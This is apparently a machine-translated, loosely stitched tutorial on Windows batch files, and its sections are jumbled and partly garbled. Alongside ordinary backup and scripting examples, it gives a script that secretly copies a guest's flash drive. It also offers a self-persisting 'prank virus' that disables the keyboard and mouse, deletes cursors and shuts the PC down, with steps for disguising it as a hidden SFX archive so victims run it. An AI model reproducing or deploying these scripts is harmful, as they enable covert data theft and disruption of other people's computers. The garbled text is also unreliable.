- 19shared
- 0Facebook
- 17Twitter
- 2VKontakte
- 0Odnoklassniki
The use of a graphical interface in operating systems today seems to be something taken for granted and completely natural, but this was not always the case. The first operating system, MS DOS, developed by Microsoft, did not have a GUI, and was controlled by entering text commands. Almost 40 years have passed since then, but the command line scripting language is still popular, and not only among developers.
The command line is not so convenient, but with its help you can perform operations that are not possible from the GUI. On the other hand, launching the console every time, entering commands into it one after another - all this greatly slows down the work. However, you can significantly simplify the task by creating a bat file or simply a batch file - a text file with the BAT extension containing a list of instructions processed by the CMD command interpreter. Such files are used to automate various tasks, for example, to delete temporary files on a schedule or launch programs.
Instead of an introduction. What is a "batnik"
Batch files are text files in Windows, MS-DOS and OS/2 that contain commands prepared for sequential execution by the OS interpreter
At first glance, it may seem that these system capabilities are absolutely useless for the average user, but this is not entirely true. Using batch files, you can significantly simplify routine work with a PC, make it more convenient, and take advantage of some hidden features. Of course, I am not an innovator or pioneer in this area, I will simply try to present here a basic idea of this type of file, consider some examples and dwell on a couple of details and subtleties regarding the so-called batch files.
For ease of writing and, of course, perception, I will divide the article into sections. But first:
DISCLAIMER: Some manipulations with batch files can cause harm to the system (sometimes even irreparable), so I warn you right away that neither the author of the article nor the site administration bears absolutely any responsibility for the consequences that may result from performing the actions presented in this article . All materials are presented here for educational purposes only and for informational purposes only. I hope for your understanding and the directness of your hands...
to contents
Creating a batch file using the Dr.Batcher utility
The specified software product is paid, but provides the opportunity to use a test version for 30 days.
Utility "Dr.Batcher"
Step 1. To create a file, use the “File” menu, the “New...” item or the “Ctrl+N” key combination.
Create a file
Step 2. In the dialog box about and click "OK".
Oh and click “OK”
Step 3. Specify which commands the bat file should execute.
We indicate which commands the bat file should execute
On a note! The right frame contains key commands that you can use when writing code. Just select the one you need and click on the “Insert Command” button, which helps save time when working.
The right frame contains key commands that you can use when writing code
Step 4. Save the resulting file to the desired directory.
Save the resulting file to the desired directory
Important! Please note that this utility allows you to debug the program on the fly. It is enough to use the “Batch” menu to run an already entered sequence. The progress is shown in the bottom frame. When using the “Execute in External Window...” item, a batch file will be executed, similar to launching it using the operating system.
This utility allows you to debug a program on the fly.
Part one. Key points when creating bat files
- It was already mentioned above that batch files are ordinary text documents. This is true, but in order for them to work and perform their functions, they need to be given the appropriate appearance, i.e. change extension. In general, Windows uses both the *.bat and *.cmd extensions; in fact, they differ very slightly only in some nuances, therefore, in order to avoid confusion, we will talk about bat files. Those. to create an executable batch file, we open a standard notepad (or another text editor you are used to), enter the commands we need into it and save the file with any name and bat extension;
- In fact, the list of commands described in a batch file (batch file) can be reproduced manually on the command line (start - all programs - standard - command line), we pack them (commands) solely for convenience, simplicity and instantaneous (if you allow) reproduction ;
- If you are experiencing something serious and are not confident in your actions, it is better to test the brainchild, for example, on a virtual machine (in extreme cases, on a neighbor’s computer);
- The list of commands that can be used is very large; you can view it by typing help ; here the commands will be deciphered as they appear in the created batch files;
- All instructions given in the article were tested on Windows XP and Windows 7.
to contents
Save the document
Then you have two options for how to save it. In practice, both options are used, the difference is only in a few additional steps. In the first option, you click on the program cross and confirm saving the changes to the document. Then open the document in regular Notepad and save it to BAT. It's done this way:
Click “Save As”
Saving a bat file
Select the “File” tab and select “Save As”. Then specify the path where to save the document. And most importantly, enter the file extension (you can do it yourself).
Determining the file extension manually
The second option: do exactly the same resaving using the Notepad++ program.
Resaving a file
You should have another file appear, the appearance of which should be the same as in the screenshot.
New bat file form
If it appears, then everything was done correctly, if not, return to the starting position and repeat the steps from the beginning, perhaps you made a mistake somewhere.
Part two. Syntax when writing bat files
- Each command is entered on a new line;
- All commands are executed sequentially, except for those cases when inside the body file itself there is a transition to a certain part of it;
- Comments can be added to a batch file in two ways: - either after two colons :: jump to the copy part - or using the goto , i.e. goto command is entered , then the place for the transition, and between them the comment goto begin —————————————- This batch file is used to backup the thesis ———————————— --- begin
- the copy /Y key itself . To view the list of possible attributes for a specific command, you need to enter the command in the command line, then a space, a slash and a question mark dir / ?
- To hide the terminal window of the command being executed, you can put a dog sign @ of the line, but if you want to hide the display of the execution of all commands, then it is easier (in order not to put a dog in each line) at the beginning of the batch file, specify @echo off here the echo off hides the windows, and the dog in front of it prohibits the display of the progress of echo off
- To eliminate possible errors, we will enter all directories within commands in quotes;
- By default, when working with Cyrillic text, you can get hieroglyphs in the output; when working with folders/files with Russian names, nothing may work out at all, this happens due to the encodings used, so to avoid such troubles, we will indicate at the beginning of the batch file encoding that works correctly with Cyrillic with the following command chcp 1251
- There are commands (for example, deleting files, formatting) that may require confirmation of actions. Sometimes this is very undesirable; in this case, you can enter the answer in advance into the batch file itself. The answer is written BEFORE! command and is separated from it by a vertical line | Y|del
- On the command line (and therefore in batch files), when specifying a directory, it is sometimes more convenient to use variables rather than specifying the entire path cd %APPDATA%
Let's get started...
to contents
Description
Batch files (sometimes called bat, bat, batch, body file, batch files) are ordinary text files containing sets of interpreter commands and having the extension *. bat . You can edit such files using notepad or any other text editor that you are used to using. They contain a sequential set of commands that are executed in a certain, predetermined order. For the average user, knowledge of how BAT files work is completely optional and is rarely required, but when performing any specialized tasks, using batch files can greatly simplify life and speed up their execution.
Part three. Backup using batch files
Data backup is a useful and therefore very common phenomenon. There are a large number of programs that differ from each other in functionality, distribution conditions, level (depth of the issue), etc. Undoubtedly, using a good and beautiful program is convenient and pleasant, but if your tasks are not too complex, then the basic creation of backups can be organized without the use of third-party software, exclusively using OS tools.
Automatic copying of directories to the backup folder
To copy any data, use the copy (copying a file/files) or xcopy (copying directories). That is, let’s say we need to backup the contents of the folder in which your data for the thesis is located (materials, applications, a draft of the work itself, etc.). In this case the text will be as follows
@echo off chcp 1251 xcopy “D:\diplom\*.*” “E:\backup\diplom\*.*”
Where D:\diplom\ is the folder where all materials for the diploma are located, and E:\backup\diplom\ is the final backup directory. We create a batch file, throw it into startup (start - all programs - startup), and every time you turn on the computer, a backup copy (pk) will be created. Let's complicate it a little. Let's make sure that when you turn on the PC, old data is saved in the diplom_old , and new data in the diplom folder. Then the body file will look like
@echo off chcp 1251 del "E:\backup\diplom_old\" /s /q rmdir "E:\backup\diplom_old\" /s /q rename "E:\backup\diplom\" "diplom_old" xcopy "D: \diplom\*.*" "E:\backup\diplom\*.*"
del deletes the previously created second rk. rmdir renames the first rk to the second. xcopy creates a new rk. /s attribute applies the command to all subdirectories, the /q disables the request for confirmation of actions. If two copies make no sense, you can make sure that only those files that have been changed, those that have not changed, or have been deleted altogether are replaced from the original folder will not be affected. To do this we write the following
@echo off chcp 1251 xcopy “D:\diplom\*.*” “E:\backup\diplom\*.*” /E /F /H /R /K /Y /D
Creating a backup in an archive
Well, the last thing worth considering here, probably at this stage, is backups in the archive. Let's consider the modified previous situation. Let's say we need a copy of the folder, packed in an archive, to be created every time the PC is turned on. We need to put a batch file into autoload with the following contents
@echo off chcp 1251 c:\PROGRA~1\WinRAR\WinRAR.exe a -o+ -agDD-MMM-YY–HH-MM-SS “E:\backup\” “D:\diplom\”
The archive of the folder D:\diplom will be created in E:\backup , the name will be the date and time the archive was created, i.e., for example, 16-Aug-12–14-06-53
to contents
Definition
The command line (cmd) is a software shell that is a mandatory component of the operating system (OS). It organizes a direct relationship between the computer and the user. It also helps solve some dilemmas related to the general functioning of the PC and individual software.
Vivid examples of its application are:
- Infecting your computer with viruses or pest programs.
- Problems with system files.
- Restoring Windows (in user slang - “Windows”).
- Adjusting options in games.
It is necessary to write commands into it in order to implement certain tasks. This procedure takes significantly less time than when working with a graphical interface.
You need to work with it very carefully and carefully. There should be no errors in the written commands. Otherwise, you can get completely unexpected results that will later turn into problems.
Part five. Other features of bat files
There are actually a lot of possibilities. Here, as an example, let's look at some of them.
One of the most famous ways to use batch files is to write the contents of a directory to a file
@echo off chcp 1251 dir >file.txt
After executing this file, a file.txt file will be created in the folder from where it was launched, containing a list of all files and folders in this directory, indicating the size and date of last modification. You can convert this file to the form
@echo off chcp 1251 dir /S “c:\” >”X:\file.txt”
/S will force the batch file to show the contents of not only the directory, but also all subdirectories. c:\ will help display the contents of not the directory from which the bat file is launched, but the one we need. X:\file.txt will save the final file with a list of contents to the location we specify;
Running files from the command line
Very often the ability to launch objects from the command line (in this case from bat files) is useful. Moreover, both programs and other types of files (graphics, media files, text documents, etc.). For example, if you add a text document to startup, then when you turn on the PC after the system boots, you will immediately see it. Or the player will open and play the corresponding track. (You can read more about ways to add files to startup in the article: Startup. Adding applications to Windows startup) In order to implement this, you just need to write the exact path to the required object in the body of the bat file. For example
@echo off chcp 1251 "c:\Documents\reminder.doc"
For system programs, you only need to indicate its designation.
@echo off chcp 1251 calc
When you run this batch file, a calculator will open. In this case, the line chcp 1251 can be omitted (as in some situations from the examples above), but if we standardize all our batch files, then we can leave it, there will be no harm.
to contents
Learning to create a document
The most important stage, which can only be started after installing Notepad Plus Plus. It doesn't matter at all whether you use English. version or Russian Make your choice at your own discretion.
- In a folder or on the desktop, create a text document (with *.txt resolution) through the context menu. The file name can be anything, but the main extension can be left unchanged.
Creating a text document
Title of the document
- Open the created new document through the Notepad program. You can do this by right-clicking on it, then selecting “Open with” and selecting the desired program from the list.
Creating a text document using a Notepad++ program file
Part six. Tricks or jokes aside
Here we will look at some more interesting possibilities for using batch files. From the title it is clear that some of the actions can harm the system (although this can be done with your bare hands), but if you do everything wisely, it can turn out quite interesting.
Spy things. Stealing the contents of a flash drive
At the very beginning of the article, it was stated that commands in batch files are executed sequentially, unless this is specified in the body of the executive file itself. Let us consider this particular case. Well, let's say. You know that an acquaintance (or maybe an acquaintance) will come to you with a request to perform some manipulations with his/her flash card, and you would really like to merge all the data from this drive to your PC. But doing this in front of a guest is not very convenient, and you can simply get a “red card”. What do we do in this case? We create a body file with the following contents
@echo off :test if exist g:\ goto go goto test :go xcopy "G:\*.*" "C:\oops\*.*"
We create a shortcut for this bat file, in the properties of the shortcut we specify that the file should be launched in a minimized state. Double click on the shortcut. What we have. :test denotes the beginning of the batch file if exist g:\ goto go G:\ drive on the computer , if it exists, then move on to the :go (the point is that usually the inserted flash drive receives the first free Latin letter in the system for designation alphabet, it is not so difficult to trace this on your computer. It is this letter that we indicate instead of G:\ ) goto test if the G:\ was not found, we return to the beginning of the part :test :go indicates the beginning of the second part of the batch file xcopy “G:\*.*” “C:\oops\*.*” copies the entire contents of the G:\ oops folder on the C:\ drive. after we launch the file from the shortcut, it starts in a minimized state and cyclically checks for the presence of a flash drive in the PC. As soon as the flash drive lights up there, it will begin copying all the data from it to the specified folder, and the usual file copying window will not pop up, everything will be displayed in a minimized terminal window. Well, everything that was described above is useful on your computer, but there are a few goodies , with which you can make fun of your friend/girlfriend….
Small virus in startup
In general, everything will look like this: we send the little man a file in any convenient way, he launches it on his PC, we laugh a little, and then we tell the little man what the problem is and how to fix it. Usually, if something goes wrong, the private The first thing the user does is reboot the computer. In order for our batch file to continue to operate after a restart, it is necessary to add it to autoload (I emphasize that such jokes only happen to not the most savvy PC users; more experienced ones will most likely easily find the reason for the system’s metamorphosis and easily get rid of it). To do this, write the following in the batch file:
copy %0 c:\»documents and settings»\»all users»\»main menu»\programs\startup copy %0 %USERPROFILE%\AppData\Roaming\Microsoft\Windows\»Start Menu»\Programs\Startup
%USERPROFILE%\"Main Menu"\Programs\Startup\ as the path ) The second line adds the file to startup for Windows 7.
Starting both lines with copy %0 means copying “yourself”. They did it. We would also like that after launching the batch file and every time the PC boots, a funny inscription appears, for example, “YOU ARE A LAMER!” To do this we add the following
Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse echo WSHShell.Popup("YOU'RE A LAMER!"); >> %temp%mes.js start %temp%mes.js deltree /y %temp%mes.js
This part is script based. I won’t go into detail; anyone interested can find the material online. Let me just say that for some OSes the appearance of this block may be slightly different. So, for example, in Windows 7 (Win7) the script may look like this:
Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse echo WSHShell.Popup("WRITE ANYTHING HERE"); >> %temp%mes.jse start %temp%mes.jse deltree /y %temp%mes.jse
However, the first option will also work.
You can also add a window with text to bypass scripts; it will be, so to speak, stylized, from the current user, indicating the current date and time
msg * “YOU ARE A LAMER!” >nul
Let's move on, closer to the goodies. To make our subject of experiments even more confused, we optionally add any of the following to the body of the batch file:
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul - the line swaps the mouse buttons. It’s a very funny thing, but if the person doesn’t have a balanced psyche, I advise you to give it up. To change the mouse buttons back, go to the mouse and there we will invert the checkbox in the field Change button assignments ....
The command rundll32 keyboard, disable will disable the keyboard until the next reboot , and rundll32 mouse, disable will do the same with the mouse. If the batch file is in autoload, then upon restart this thing will, of course, repeat itself.
rundll32 shell32, SHExitWindowsEx 1 - will shut down the PC.
rundll32 shell32, SHExitWindowsEx 2 - will reboot the PC.
rundll32 url.dll, FileProtocolHandler https://ya.ru/ - will open a Yandex search page in Internet Explorer ( you can, of course, enter any ya.ru If you show your imagination, you can give the batch file a special piquancy.
Well, del “%SystemRoot%Cursors*.*” >nul will remove mouse cursors (use with caution and in the most extreme cases!)
Now all that remains is to arrange the desired lines into a single code
@echo off chcp 1251 rundll32 keyboard, disable %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul copy %0 c:\»documents and settings»\»all users»\»main menu»\programs\startup copy %0 % USERPROFILE%\AppData\Roaming\Microsoft\Windows\"Start Menu"\Programs\Startup rundll32 url.dll, FileProtocolHandler https://www.thecleverest.com/countdown.swf Echo var WSHShell = WScript.CreateObject("WScript.Shell "); > %temp%mes.js echo WSHShell.Popup("YOU ARE A LAMER!"); >> %temp%mes.js start %temp%mes.js deltree /y %temp%mes.js
to contents
Launch question
Before solving the main dilemma, you need to study the command line activation versions. The options differ depending on the type of Windows (XP, seven, eight or ten).
To call a system window with a line, you need the following actions:
- Press two buttons simultaneously: “Win” (indicated by a flag on the keyboard) and the letter R. The principle works on Windows 7 and XP. On the eight, the combination of the “Win” + X (English letter) buttons is used.
- In the column that appears, write cmd and press “Enter”.
You can use the Start menu. Move the cursor to the lower left corner and press the left mouse button. Select the “All programs” column. Going to the section called "Accessories", select "Command Prompt".
But this option is optimal only for system versions prior to Windows 10.
The work itself on the command line follows one script without depending on the operating system. The differences concern only its call.
For example, if you are interested in how to create a file in the Windows 10 command line, then call it first.
To do this, in the “Start” menu, select the “System” section, and then select the command line.
There is also a universal calling method for all OSes. It is expressed in the following algorithm:
- Using Explorer, open the disk with the system folder (usually its letter C) with Windows.
- The “Windows” folder opens, and in it - “System32”. This is where the cmd.exe file is located. This is the same command line.
- This file is run as administrator.
After these steps, you can create a file using commands.
Part seven. Packaging the executive file
Here I want to note that few people will launch your batch file, if only because it looks a little suspicious. There are two ways to fix this:
Software method for packing batch files
- convert the bat file to *.exe using some utility (for example, bat to exe )
- create an sfx archive.
Packaging batch files into SFX archive
We will consider the second option in a little more detail within the framework of this article. — First, we need to install a suitable archiver on the PC (for these purposes, I recommend WinRAR, since creating sfx archives in it is most convenient and simple). — Create the batch file we need (batch file). — Right-click on the batch file, select WinRAR => Add to archive (further through the tabs) — General. Any name. Format - RAR. The compression method is normal. In the archiving parameters, check the box next to Create SFX archive . - Additionally. Click on the button SFX Settings... “General” tab, execute after unpacking - enter the name of the archived batch file with the extension. In the “Modes” tab, in the “Information output mode” section, check the box next to “Hide all”. On the “Text and Graphics” tab, you can, for example, add a nice icon to your archive instead of the standard one. If you are not an artist, then the icon can be pulled out from any program/game using third-party software, for example Restorator . - That's all. The remaining options are at your discretion. Click the OK . Our new sfx archive will also appear in the original folder with the batch file. - To add solidity to the file, to allow it to gain weight, you can “stuff” something else into the archive, it can be anything, because the goal is only to increase size. — There can be any number of batch files in the archive, when creating an archive we indicate that the first one needs to be executed (we write down its name with an extension), so that after that the next one will be executed, at the end (or in the place we need) we write
call sled.bat
Those. when it comes to this command, the system will switch to executing a file called sled.bat and then return to the original one. If it is necessary that the work of the first batch file is not interrupted, then we use another command
sl started.bat
to contents
Setting up the Notepad program and writing the first command
After opening the program, the first thing you need to do is go to “Encodings”, select “Encoding” again, then “Cyrillic”, where you need to select “OEM866”.
Setting up Notepad++ - selecting encoding
For a clear example, we will use the simplest command presented in the screenshot. Copy it into your document.
The simplest command
We set the script for two actions, where the first consists of writing a greeting and text, and the second will show a list of available folders on the C drive.
Specifics of work
First you need to get familiar with the list of commands that are suitable for the command line. Type the word “help” and press “Enter”. This key serves to confirm all commands and enter a new line.
If a line requires copied text, then move the cursor over any empty space in it and right-click. From the menu that appears, select the "Insert" option. You can place text using the combination “Ctrl+V”.
To copy words from this line, select them with the left mouse button and press “Enter”.
For more convenient and efficient work, you can pre-register all commands in a text document. Check their spelling for accuracy. Then just copy and paste them where you want.
Creating a new folder
A folder in this context is treated the same as a directory. It’s not difficult to create it, I know a special team.
First, specify the path to the directory in which the new file will appear. After which the md command is written with the name of the new directory. For example: md folder.
The specified command is an abbreviation of the phrase make directory (translated - make a directory). Next, you can create a file in the folder you just created by using certain commands. This method is usually chosen by those for whom standard solutions are not suitable.